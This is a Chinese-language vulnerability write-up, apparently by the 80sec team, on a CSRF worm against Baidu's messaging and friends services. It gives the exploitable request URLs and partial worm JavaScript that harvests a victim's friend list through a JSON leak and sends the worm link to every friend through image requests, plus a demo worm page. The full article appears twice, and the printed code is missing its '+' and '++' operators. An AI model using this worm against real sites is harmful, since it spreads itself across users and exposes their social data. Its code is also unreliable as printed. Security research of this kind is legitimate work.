百度Hi Csrf蠕虫攻击
程序员文章站
2022-12-15 11:39:02
漏洞起因:百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等BLOG社区服务,拥有海量的用户群,号称全球最大中文社区。80sec发现过百度产品一系列的安全漏洞,其... 08-10-08...
漏洞起因:百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等blog社区服务,拥有海量的用户群,号称全球最大中文社区。80sec发现过百度产品一系列的安全漏洞,其中一些问题得到了有效的修补,但是百度的产品仍然存在很多严重的安全漏洞,利用这些漏洞黑客可以制作web蠕虫,影响百度所有的用户。
csrf worm技术分析:
一. 百度用户中心短消息功能存在csrf漏洞
百度用户中心短消息功能和百度空间、百度贴吧等产品相互关联,用户可以给指定百度id用户发送短消息,在百度空间用互为好友的情况下,发送短消息将没有任何限制,同时由于百度程序员在实现短消息功能时使用了$_request类变量传参,给黑客利用csrf漏洞进行攻击提供了很大的方便。百度用户中心短消息功能的请求参数能够被完全预测,只需要指定sn参数为发送消息的用户,co参数为消息内容,就可以成功发送短消息,如下:
http://msg.baidu.com/?ct=22&cm=mailsend&tn=bmsubmit&sn=用户账号&co=消息内容
该漏洞在07年被应用于80sec测试的百度xss worm中,至今尚未修补。
二. 百度空间好友json数据泄露问题
百度空间的好友功能数据是使用json格式实现的,此接口没有做任何的安全限制,只需将un参数设定为任意用户账号,就可以获得指定用户的百度好友数据,如下
http://frd.baidu.com/?ct=28&un=用户账号&cm=frilist&tn=bmabcfrilist&callback=gotfriends
该漏洞可以直接被javascript劫持技术利用,获取用户的好友信息.
三. 百度认证问题
web攻击不可避免地依赖于系统的认证,而在百度的认证系统里,所有认证基于session,这样在ie里就不会被ie的隐私策略阻止,会话认证信息每次都会被发送出去,为我们蠕虫的传播提供了必要的条件。
四. csrf javascript_hijacking session auth= csrf worm
csrf攻击结合javascript劫持技术完全可以实现csrf worm,百度产品的这两个安全问题为实现web蠕虫提供了所有的条件,80sec团队已经编写出一只完整的百度csrf蠕虫,这是一只完全由客户端脚本实现的csrf蠕虫,这只蠕虫实际上只有一条链接,受害者点击这条链接后,将会自动把这条链接通过短消息功能传给受害者所有的好友,因为百度用户基数很大,所以蠕虫的传播速度将会呈几何级成长,下面对csrf蠕虫部分代码进行分析:
1. 模拟服务端取得request的参数
var lsurl=window.location.href;
lou = lsurl.split(”?”);
if (lou.length>1)
{
var loallpm = lou[1].split(”&”);
省略…………….
定义蠕虫页面服务器地址,取得?和&符号后的字符串,从url中提取得感染蠕虫的用户名和感染蠕虫者的好友用户名。
2. 好友json数据的动态获取
var gotfriends = function (x)
{
for(i=0;i<x[2].length;i )
{
friends.push(x[2][i][1]);
}
}
loadjson(’<script src=”http://frd.baidu.com/?ct=28&un=’ lusername ’&cm=frilist&tn=bmabcfrilist&callback=gotfriends&.tmp=&1=2″><\/script>’);
通过csrf漏洞从远程加载受害者的好友json数据,根据该接口的json数据格式,提取好友数据为蠕虫的传播流程做准备。
3. 感染信息输出和消息发送的核心部分
evilurl=url ”/wish.php?from=” lusername ”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=mailsend&tn=bmsubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i ){
省略…………….
mysendmsg=mysendmsg ”&” i;
eval(’x' i ’=new image();x’ i ’.src=unescape(”‘ mysendmsg ’”);’);
省略…………….
整个蠕虫最核心的部分,按照蠕虫感染的逻辑,将感染者用户名和需要传播的好友用户名放到蠕虫链接内,最后输出短消息内容,使用一个for循环结构历遍所有好友数据,通过图片文件请求向所有的好友发送感染链接信息。
4. 注意细节
由于需要动态加载json数据运行,所以必须注意各个函数执行的先后顺序,否则json数据还未加载完毕,蠕虫核心部分的流程将跑不起来。
5. csrf worm demo页
这里我们提供了一个百度csrf worm demo页仅供大家进行安全测试,非安全测试的其他行为,80sec将不负任何责任。测试方法:
将to参数设置为自己的用户名,登陆百度后点击链接或直接进入页面
http://www.80sec.com/wish.php?to=自己的百度用户名
五 csrf worm安全提醒:
除开百度,国内的社区类、web2.0类网站如校内网、myspace、饭否等都存在这类安全问题,黑客可以直接通过csrf攻击配合各种功能应用针对网站进行csrf worm攻击,网站可以参考http://www.80sec.com/csrf-securit.html文档中的安全提醒做进一步的防范。
百度hi csrf蠕虫攻击:http://www.80sec.com/baidu-hi-scrf-worm-attac.html
csrf worm技术分析:
一. 百度用户中心短消息功能存在csrf漏洞
百度用户中心短消息功能和百度空间、百度贴吧等产品相互关联,用户可以给指定百度id用户发送短消息,在百度空间用互为好友的情况下,发送短消息将没有任何限制,同时由于百度程序员在实现短消息功能时使用了$_request类变量传参,给黑客利用csrf漏洞进行攻击提供了很大的方便。百度用户中心短消息功能的请求参数能够被完全预测,只需要指定sn参数为发送消息的用户,co参数为消息内容,就可以成功发送短消息,如下:
http://msg.baidu.com/?ct=22&cm=mailsend&tn=bmsubmit&sn=用户账号&co=消息内容
该漏洞在07年被应用于80sec测试的百度xss worm中,至今尚未修补。
二. 百度空间好友json数据泄露问题
百度空间的好友功能数据是使用json格式实现的,此接口没有做任何的安全限制,只需将un参数设定为任意用户账号,就可以获得指定用户的百度好友数据,如下
http://frd.baidu.com/?ct=28&un=用户账号&cm=frilist&tn=bmabcfrilist&callback=gotfriends
该漏洞可以直接被javascript劫持技术利用,获取用户的好友信息.
三. 百度认证问题
web攻击不可避免地依赖于系统的认证,而在百度的认证系统里,所有认证基于session,这样在ie里就不会被ie的隐私策略阻止,会话认证信息每次都会被发送出去,为我们蠕虫的传播提供了必要的条件。
四. csrf javascript_hijacking session auth= csrf worm
csrf攻击结合javascript劫持技术完全可以实现csrf worm,百度产品的这两个安全问题为实现web蠕虫提供了所有的条件,80sec团队已经编写出一只完整的百度csrf蠕虫,这是一只完全由客户端脚本实现的csrf蠕虫,这只蠕虫实际上只有一条链接,受害者点击这条链接后,将会自动把这条链接通过短消息功能传给受害者所有的好友,因为百度用户基数很大,所以蠕虫的传播速度将会呈几何级成长,下面对csrf蠕虫部分代码进行分析:
1. 模拟服务端取得request的参数
var lsurl=window.location.href;
lou = lsurl.split(”?”);
if (lou.length>1)
{
var loallpm = lou[1].split(”&”);
省略…………….
定义蠕虫页面服务器地址,取得?和&符号后的字符串,从url中提取得感染蠕虫的用户名和感染蠕虫者的好友用户名。
2. 好友json数据的动态获取
var gotfriends = function (x)
{
for(i=0;i<x[2].length;i )
{
friends.push(x[2][i][1]);
}
}
loadjson(’<script src=”http://frd.baidu.com/?ct=28&un=’ lusername ’&cm=frilist&tn=bmabcfrilist&callback=gotfriends&.tmp=&1=2″><\/script>’);
通过csrf漏洞从远程加载受害者的好友json数据,根据该接口的json数据格式,提取好友数据为蠕虫的传播流程做准备。
3. 感染信息输出和消息发送的核心部分
evilurl=url ”/wish.php?from=” lusername ”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=mailsend&tn=bmsubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i ){
省略…………….
mysendmsg=mysendmsg ”&” i;
eval(’x' i ’=new image();x’ i ’.src=unescape(”‘ mysendmsg ’”);’);
省略…………….
整个蠕虫最核心的部分,按照蠕虫感染的逻辑,将感染者用户名和需要传播的好友用户名放到蠕虫链接内,最后输出短消息内容,使用一个for循环结构历遍所有好友数据,通过图片文件请求向所有的好友发送感染链接信息。
4. 注意细节
由于需要动态加载json数据运行,所以必须注意各个函数执行的先后顺序,否则json数据还未加载完毕,蠕虫核心部分的流程将跑不起来。
5. csrf worm demo页
这里我们提供了一个百度csrf worm demo页仅供大家进行安全测试,非安全测试的其他行为,80sec将不负任何责任。测试方法:
将to参数设置为自己的用户名,登陆百度后点击链接或直接进入页面
http://www.80sec.com/wish.php?to=自己的百度用户名
五 csrf worm安全提醒:
除开百度,国内的社区类、web2.0类网站如校内网、myspace、饭否等都存在这类安全问题,黑客可以直接通过csrf攻击配合各种功能应用针对网站进行csrf worm攻击,网站可以参考http://www.80sec.com/csrf-securit.html文档中的安全提醒做进一步的防范。
百度hi csrf蠕虫攻击:http://www.80sec.com/baidu-hi-scrf-worm-attac.html